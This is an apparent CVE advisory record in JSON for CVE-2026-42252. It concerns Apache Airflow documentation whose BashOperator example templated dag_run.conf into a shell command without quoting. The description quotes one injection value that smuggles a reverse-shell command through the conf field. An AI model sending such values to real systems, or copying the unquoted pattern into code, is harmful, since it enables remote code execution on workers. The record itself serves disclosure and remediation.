{"affected":[{"defaultStatus":"unaffected","ecosystem":"pypi","packageName":"apache-airflow-core","product":"Apache Airflow","source":"CNA: apache","vendor":"Apache Software Foundation","versions":[{"lessThan":"3.2.2","status":"affected","version":"3.0.0","versionType":"semver"}]}],"cveId":"CVE-2026-42252","cwes":["CWE-1336"],"description":"Apache Airflow's official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf['conf1'] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i >& /dev/tcp/.../9999 0>&1; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.","epss":{"date":"2026-11-02","percentile":0.32362,"score":0.00383},"exploits":[],"kev":null,"metrics":[{"score":9.1,"severity":"critical","source":"ADP: CISA-ADP","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","version":"3.1"}],"modifiedAt":1793688963321,"publishedAt":1780300279018,"references":[{"source":"CNA: apache","tags":["patch"],"url":"https://github.com/apache/airflow/pull/64129"},{"source":"CNA: apache","tags":["vendor-advisory"],"url":"https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7"}],"remediation":[{"kind":"fix","source":"CNA: apache","text":"The reporting source identifies this reference as a patch. Check the advisory for affected versions and supported release branches.","url":"https://github.com/apache/airflow/pull/64129"}],"revision":"a9db6aed137bf5b43a60ab88f058ea9d2d860f5f9c3f5ccfde59f0a732ee2b9c","sources":[{"modifiedAt":1793688963321,"name":"CNA: apache","retrievedAt":1793689751363,"url":"https://www.cve.org/CVERecord?id=CVE-2026-42252"},{"modifiedAt":null,"name":"FIRST EPSS","retrievedAt":1793689756781,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-42252"}],"ssvc":{"assessedAt":1780416301041,"automatable":"yes","exploitation":"none","source":"ADP: CISA-ADP","technicalImpact":"total"},"status":"published","title":"Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern","updatedAt":1793689756781}